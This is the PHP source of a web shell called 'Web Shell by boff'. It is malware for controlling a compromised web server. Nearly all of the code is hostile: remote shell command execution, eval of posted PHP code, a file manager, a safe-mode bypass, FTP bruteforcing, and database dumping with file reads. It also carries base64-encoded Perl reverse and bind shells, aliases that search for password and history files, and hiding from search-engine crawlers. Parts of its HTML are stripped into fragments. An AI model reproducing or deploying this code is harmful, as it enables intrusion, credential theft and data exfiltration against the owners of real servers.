<?php # Web Shell by boff $auth_pass = ""; $color = "#df5"; $default_action = 'FilesMan'; $default_use_ajax = true; $default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {

   $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
   if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
       header('HTTP/1.0 404 Not Found');
       exit;
   }

}

@session_start(); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('max_execution_time',0); @set_time_limit(0); @set_magic_quotes_runtime(0); @define('BOFF_VERSION', '1.0');

if(get_magic_quotes_gpc()) { function BOFFstripslashes($array) { return is_array($array) ? array_map('BOFFstripslashes', $array) : stripslashes($array); } $_POST = BOFFstripslashes($_POST); }

function BOFFLogin() {

<b>Authorization</b><br>ß0ff \/\/3ß $|-|311 1.0<br><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form>

}

if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) ) $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; else BOFFLogin();

if(strtolower(substr(PHP_OS,0,3)) == "win") $os = 'win'; else $os = 'nix';

$safe_mode = @ini_get('safe_mode'); if(!$safe_mode)

   error_reporting(0);

$disable_functions = @ini_get('disable_functions'); $home_cwd = @getcwd(); if(isset($_POST['c'])) @chdir($_POST['c']); $cwd = @getcwd(); if($os == 'win') { $home_cwd = str_replace("\\", "/", $home_cwd); $cwd = str_replace("\\", "/", $cwd); } if( $cwd[strlen($cwd)-1] != '/' ) $cwd .= '/';

if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))

   $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];

if($os == 'win') $aliases = array( "List Directory" => "dir",

   	"Find index.php in current dir" => "dir /s /w /b index.php",
   	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
   	"Show active connections" => "netstat -an",
   	"Show running services" => "net start",
   	"User accounts" => "net user",
   	"Show computers" => "net view",

"ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all" ); else $aliases = array(

 		"List dir" => "ls -lha",

"list file attributes on a Linux second extended file system" => "lsattr -va",

 		"show opened ports" => "netstat -an | grep -i listen",
       "process status" => "ps aux",

"Find" => "",

 		"find all suid files" => "find / -type f -perm -04000 -ls",
 		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
 		"find all sgid files" => "find / -type f -perm -02000 -ls",
 		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
 		"find config.inc.php files" => "find / -type f -name config.inc.php",
 		"find config* files" => "find / -type f -name \"config*\"",
 		"find config* files in current dir" => "find . -type f -name \"config*\"",
 		"find all writable folders and files" => "find / -perm -2 -ls",
 		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
 		"find all service.pwd files" => "find / -type f -name service.pwd",
 		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
 		"find all .htpasswd files" => "find / -type f -name .htpasswd",
 		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
 		"find all .bash_history files" => "find / -type f -name .bash_history",
 		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
 		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
 		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",

"Locate" => "",

 		"locate httpd.conf files" => "locate httpd.conf",

"locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" =>"locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files"=>"locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv" );

function BOFFHeader() { if(empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset']; global $color; echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - BOFF " . BOFF_VERSION ."</title> <style> body{background-color:#000028;color:#e1e1e1;} body,td,th{ border:1px outset black;font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; } table.info{ border-left:5px solid #df5;color:#fff;background-color:#000028; } span,h1,a{ color: #df5 !important; } span{ font-weight: bolder; } h1{ border-left:7px solid #df5;padding: 2px 5px;font: 14pt Verdana;background-color:#000028;margin:0px; } div.content{ padding: 7px;margin-left:7px;background-color:#333; } a{ text-decoration:none; } a:hover{ text-decoration:underline; } .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; } .bigarea{ width:100%;height:250px; } input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid #df5; font: 9pt Monospace,'Courier New'; } form{ margin:0px; }

1. toolsTbl{ text-align:center; }

.toolsInp{ width: 300px } .main th{text-align:left;background-color:#003300;} .main tr:hover{border:2px outset gray;;background-color:#5e5e5e} .l1{background-color:#444} .l2{background-color:#333} pre{font-family:Courier,Monospace;} </style> <script>

   var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
   var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
   var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
   var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?:htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
   var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?:htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
   var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?:htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
   var d = document;

function set(a,c,p1,p2,p3,charset) { if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; } function g(a,c,p1,p2,p3,charset) { set(a,c,p1,p2,p3,charset); d.mf.submit(); } function a(a,c,p1,p2,p3,charset) { set(a,c,p1,p2,p3,charset); var params = 'ajax=true'; for(i=0;i<d.mf.elements.length;i++) params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value); sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params); } function sr(url, params) { if (window.XMLHttpRequest) req = new XMLHttpRequest(); else if (window.ActiveXObject) req = new ActiveXObject('Microsoft.XMLHTTP');

       if (req) {
           req.onreadystatechange = processReqChange;
           req.open('POST', url, true);
           req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
           req.send(params);
       }

} function processReqChange() { if( (req.readyState == 4) ) if(req.status == 200) { var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm'); var arr=reg.exec(req.responseText); eval(arr[2].substr(0, arr[1])); } else alert('Request error!'); } </script>

   echo "

}

if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {

   function posix_getpwuid($p) {return false;} }

if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {

   function posix_getgrgid($p) {return false;} }

function BOFFEx($in) { $out = ; if (function_exists('exec')) { @exec($in,$out); $out = @join("\n",$out); } elseif (function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); } elseif (function_exists('shell_exec')) { $out = shell_exec($in); } elseif (is_resource($f = @popen($in,"r"))) { $out = ""; while(!@feof($f)) $out .= fread($f,1024); pclose($f); } return $out; } function BOFFViewSize($s) { if($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824 ). ' GB'; elseif($s >= 1048576) return sprintf('%1.2f', $s / 1048576 ) . ' MB'; elseif($s >= 1024) return sprintf('%1.2f', $s / 1024 ) . ' KB'; else return $s . ' B'; }

function BOFFPerms($p) { if (($p & 0xC000) == 0xC000)$i = 's'; elseif (($p & 0xA000) == 0xA000)$i = 'l'; elseif (($p & 0x8000) == 0x8000)$i = '-'; elseif (($p & 0x6000) == 0x6000)$i = 'b'; elseif (($p & 0x4000) == 0x4000)$i = 'd'; elseif (($p & 0x2000) == 0x2000)$i = 'c'; elseif (($p & 0x1000) == 0x1000)$i = 'p'; else $i = 'u'; $i .= (($p & 0x0100) ? 'r' : '-'); $i .= (($p & 0x0080) ? 'w' : '-'); $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); $i .= (($p & 0x0020) ? 'r' : '-'); $i .= (($p & 0x0010) ? 'w' : '-'); $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); $i .= (($p & 0x0004) ? 'r' : '-'); $i .= (($p & 0x0002) ? 'w' : '-'); $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); return $i; }

function BOFFPermsColor($f) { if (!@is_readable($f)) return '' . BOFFPerms(@fileperms($f)) . ''; elseif (!@is_writable($f)) return '' . BOFFPerms(@fileperms($f)) . ''; else return '' . BOFFPerms(@fileperms($f)) . ''; }

if(!function_exists("scandir")) { function scandir($dir) { $dh = opendir($dir); while (false !== ($filename = readdir($dh)))

   		$files[] = $filename;

return $files; } }

function BOFFWhich($p) { $path = BOFFEx('which ' . $p); if(!empty($path)) return $path; return false; }

function actionSecInfo() { BOFFHeader();

Server security information

' . $v . '

   if(function_exists('apache_get_modules'))
       BOFFSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));

           $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
           $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
           $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');

                   $temp[] = $item;

                   $temp[] = $item;

                   $temp[] = $item;

           BOFFSecParam('HDD space', BOFFEx('df -h'));

BOFFFooter(); }

function actionPhp() { if(isset($_POST['ajax'])) { $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true; ob_start(); eval($_POST['p1']); $temp = "document.getElementById('PhpOutput').style.display=;document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n"; echo strlen($temp), "\n", $temp; exit; } BOFFHeader(); if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {

PHP info

       $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',,$tmp);

} if(empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;

Execution PHP-code

';
	if(!empty($_POST['p1'])) {
		ob_start();
		eval($_POST['p1']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo '

BOFFFooter(); }

function actionFilesMan() { BOFFHeader();

File manager

                       if($f == '..')
                           continue;

                       $zip = new ZipArchive();
                       if ($zip->open($_POST['p2'], 1)) {
                           chdir($_SESSION['c']);
                           foreach($_SESSION['f'] as $f) {
                               if($f == '..')
                                   continue;
                               if(@is_file($_SESSION['c'].$f))
                                   $zip->addFile($_SESSION['c'].$f, $f);
                               elseif(@is_dir($_SESSION['c'].$f)) {
                                   $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
                                   foreach ($iterator as $key=>$value) {
                                       $zip->addFile(realpath($key), $key);
                                   }
                               }
                           }
                           chdir($GLOBALS['cwd']);
                           $zip->close();
                       }
                   }

                       $zip = new ZipArchive();
                       foreach($_SESSION['f'] as $f) {
                           if($zip->open($_SESSION['c'].$f)) {
                               $zip->extractTo($GLOBALS['cwd']);
                               $zip->close();
                           }
                       }
                   }

                   chdir($_SESSION['c']);
                   $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
                   BOFFEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
                   chdir($GLOBALS['cwd']);

               if(!empty($_POST['p1'])) {

   if(class_exists('ZipArchive'))
       echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
   echo "<option value='tar'>Compress (tar.gz)</option>";
   if(!empty($_SESSION['act']) && @count($_SESSION['f']))
       echo "<option value='paste'>Paste / Compress</option>";
   echo "</select> ";
   if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
       echo "file name: <input type=text name=p2 value='BOFF_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'> ";

BOFFFooter(); }

function actionStringTools() { if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}

   if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}

if(!function_exists('hex2ascii')) {function hex2ascii($p){$r=;for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}} if(!function_exists('ascii2hex')) {function ascii2hex($p){$r=;for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}} if(!function_exists('full_urlencode')) {function full_urlencode($p){$r=;for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}} $stringTools = array( 'Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen', ); if(isset($_POST['ajax'])) { $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true; ob_start(); if(in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']); $temp = "document.getElementById('strOutput').style.display=;document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n"; echo strlen($temp), "\n", $temp; exit; } BOFFHeader();

String conversions

";
	if(!empty($_POST['p1'])) {
		if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
	}
	echo"

Search text in files:

Search for hash:

BOFFFooter(); }

function actionFilesTools() { if( isset($_POST['p1']) ) $_POST['p1'] = urldecode($_POST['p1']); if(@$_POST['p2']=='download') { if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) { ob_start("ob_gzhandler", 4096); header("Content-Disposition: attachment; filename=".basename($_POST['p1'])); if (function_exists("mime_content_type")) { $type = @mime_content_type($_POST['p1']); header("Content-Type: " . $type); } else

               header("Content-Type: application/octet-stream");

$fp = @fopen($_POST['p1'], "r"); if($fp) { while(!@feof($fp)) echo @fread($fp, 1024); fclose($fp); } }exit; } if( @$_POST['p2'] == 'mkfile' ) { if(!file_exists($_POST['p1'])) { $fp = @fopen($_POST['p1'], 'w'); if($fp) { $_POST['p2'] = "edit"; fclose($fp); } } } BOFFHeader();

File tools

';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '

'.$h[0].'

'.$h[1].'

'.htmlspecialchars($h[2]).'

BOFFFooter(); }

function actionSafeMode() { $temp=; ob_start(); switch($_POST['p1']) { case 1: $temp=@tempnam($test, 'cx'); if(@copy("compress.zlib://".$_POST['p2'], $temp)){ echo @file_get_contents($temp); unlink($temp); } else echo 'Sorry... Can\'t open file'; break; case 2: $files = glob($_POST['p2'].'*'); if( is_array($files) ) foreach ($files as $filename) echo $filename."\n"; break; case 3: $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', , __FILE__)); curl_exec($ch); break; case 4: ini_restore("safe_mode"); ini_restore("open_basedir"); include($_POST['p2']); break; case 5: for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) { $uid = @posix_getpwuid($_POST['p2']); if ($uid) echo join(':',$uid)."\n"; } break; } $temp = ob_get_clean(); BOFFHeader();

Safe mode bypass

'.htmlspecialchars($temp).'

BOFFFooter(); }

function actionConsole() {

   if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
       $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
       $_POST['p1'] .= ' 2>&1';
   } elseif(!empty($_POST['p1']))
       $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;

if(isset($_POST['ajax'])) { $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true; ob_start(); echo "d.cf.cmd.value=;\n"; $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".BOFFEx($_POST['p1']),"\n\r\t\\'\0")); if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) { if(@chdir($match[1])) { $GLOBALS['cwd'] = @getcwd(); echo "c_='".$GLOBALS['cwd']."';"; } } echo "d.cf.output.value+='".$temp."';"; echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;"; $temp = ob_get_clean(); echo strlen($temp), "\n", $temp; exit; } BOFFHeader();

   echo "<script>

if(window.Event) window.captureEvents(Event.KEYDOWN); var cmds = new Array(); var cur = 0; function kp(e) { var n = (window.Event) ? e.which : e.keyCode; if(n == 38) { cur--; if(cur>=0) document.cf.cmd.value = cmds[cur]; else cur++; } else if(n == 40) { cur++; if(cur < cmds.length) document.cf.cmd.value = cmds[cur]; else cur--; } } function add(cmd) { cmds.pop(); cmds.push(cmd); cmds.push(); cur = cmds.length-1; } </script>";

Console

BOFFFooter(); }

function actionLogout() {

   session_destroy();

die('bye!'); }

function actionSelfRemove() {

if($_POST['p1'] == 'yes') if(@unlink(preg_replace('!\(\d+\)\s.*!', , __FILE__))) die('Shell has been removed'); else echo 'unlink error!';

   if($_POST['p1'] != 'yes')
       BOFFHeader();

Suicide

BOFFFooter(); }

function actionBruteforce() { BOFFHeader(); if( isset($_POST['proto']) ) {

Results

}

FTP bruteforce

BOFFFooter(); }

function actionSql() { class DbClass { var $type; var $link; var $res; function DbClass($type) { $this->type = $type; } function connect($host, $user, $pass, $dbname){ switch($this->type) { case 'mysql': if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; break; case 'pgsql': $host = explode(':', $host); if(!$host[1]) $host[1]=5432; if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true; break; } return false; } function selectdb($db) { switch($this->type) { case 'mysql': if (@mysql_select_db($db))return true; break; } return false; } function query($str) { switch($this->type) { case 'mysql': return $this->res = @mysql_query($str); break; case 'pgsql': return $this->res = @pg_query($this->link,$str); break; } return false; } function fetch() { $res = func_num_args()?func_get_arg(0):$this->res; switch($this->type) { case 'mysql': return @mysql_fetch_assoc($res); break; case 'pgsql': return @pg_fetch_assoc($res); break; } return false; } function listDbs() { switch($this->type) { case 'mysql':

                       return $this->query("SHOW databases");

break; case 'pgsql': return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'"); break; } return false; } function listTables() { switch($this->type) { case 'mysql': return $this->res = $this->query('SHOW TABLES'); break; case 'pgsql': return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'"); break; } return false; } function error() { switch($this->type) { case 'mysql': return @mysql_error(); break; case 'pgsql': return @pg_last_error(); break; } return false; } function setCharset($str) { switch($this->type) { case 'mysql': if(function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link); else $this->query('SET CHARSET '.$str); break; case 'pgsql': return @pg_set_client_encoding($this->link, $str); break; } return false; } function loadFile($str) { switch($this->type) { case 'mysql': return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file")); break; case 'pgsql': $this->query("CREATE TABLE BOFF2(file text);COPY BOFF2 FROM '".addslashes($str)."';select file from BOFF2;"); $r=array(); while($i=$this->fetch()) $r[] = $i['file']; $this->query('drop table BOFF2'); return array('file'=>implode("\n",$r)); break; } return false; } function dump($table, $fp = false) { switch($this->type) { case 'mysql': $res = $this->query('SHOW CREATE TABLE `'.$table.'`'); $create = mysql_fetch_array($res); $sql = $create[1].";\n";

                   if($fp) fwrite($fp, $sql); else echo($sql);

$this->query('SELECT * FROM `'.$table.'`');

                   $head = true;

while($item = $this->fetch()) { $columns = array(); foreach($item as $k=>$v) {

                           if($v == null)
                               $item[$k] = "NULL";
                           elseif(is_numeric($v))
                               $item[$k] = $v;
                           else
                               $item[$k] = "'".@mysql_real_escape_string($v)."'";

$columns[] = "`".$k."`"; }

                       if($head) {
                           $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
                           $head = false;
                       } else
                           $sql = "\n\t,(".implode(", ", $item).')';
                       if($fp) fwrite($fp, $sql); else echo($sql);

}

                   if(!$head)
                       if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");

break; case 'pgsql': $this->query('SELECT * FROM '.$table); while($item = $this->fetch()) { $columns = array(); foreach($item as $k=>$v) { $item[$k] = "'".addslashes($v)."'"; $columns[] = $k; }

                       $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
                       if($fp) fwrite($fp, $sql); else echo($sql);

} break; } return false; } }; $db = new DbClass($_POST['type']); if(@$_POST['p2']=='download') { $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); $db->selectdb($_POST['sql_base']);

       switch($_POST['charset']) {
           case "Windows-1251": $db->setCharset('cp1251'); break;
           case "UTF-8": $db->setCharset('utf8'); break;
           case "KOI8-R": $db->setCharset('koi8r'); break;
           case "KOI8-U": $db->setCharset('koi8u'); break;
           case "cp866": $db->setCharset('cp866'); break;
       }
       if(empty($_POST['file'])) {
           ob_start("ob_gzhandler", 4096);
           header("Content-Disposition: attachment; filename=dump.sql");
           header("Content-Type: text/plain");
           foreach($_POST['tbl'] as $v)

$db->dump($v);

           exit;
       } elseif($fp = @fopen($_POST['file'], 'w')) {
           foreach($_POST['tbl'] as $v)
               $db->dump($v, $fp);
           fclose($fp);
           unset($_POST['p2']);
       } else
           die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');

} BOFFHeader(); echo "

Sql browser

   if(@$_POST['type']=='mysql')echo 'selected';

           s_db='".@addslashes($_POST['sql_base'])."';
           function fs(f) {
               if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                   if(f.p1) f.p1.value=;
                   if(f.p2) f.p2.value=;
                   if(f.p3) f.p3.value=;
               }
           }

               if(l && d.sf.p3) d.sf.p3.value = l;

                   if(!empty($_POST['sql_count']))
                       $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.));

                   $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;

                   echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script>".$_POST['p2']." ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                   echo " of $pages";
                   if($_POST['p3'] > 1)
                       echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
                   if($_POST['p3'] < $pages)
                       echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
                   $_POST['p3']--;

               if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                   echo htmlspecialchars($_POST['p2']);
               echo "</textarea>
<input type=submit value='Execute'>";

           if($_POST['type']=='mysql') {
               $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
               if($db->fetch())
                   echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'>Load file <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
           }

'.htmlspecialchars($file['file']).'

       echo htmlspecialchars($db->error());
   }

BOFFFooter(); } function actionNetwork() { BOFFHeader(); $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";

Network tools

$out\n".BOFFEx("ps aux | grep bp.pl")."

           unlink("/tmp/bp.pl");

$out\n".BOFFEx("ps aux | grep bc.pl")."

           unlink("/tmp/bc.pl");

BOFFFooter(); } function actionRC() { if(!@$_POST['p1']) { $a = array( "uname" => php_uname(), "php_version" => phpversion(), "BOFF_version" => BOFF_VERSION, "safemode" => @ini_get('safe_mode') ); echo serialize($a); } else { eval($_POST['p1']); } } if( empty($_POST['a']) ) if(isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action; else $_POST['a'] = 'SecInfo'; if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) ) call_user_func('action' . $_POST['a']); exit; ?>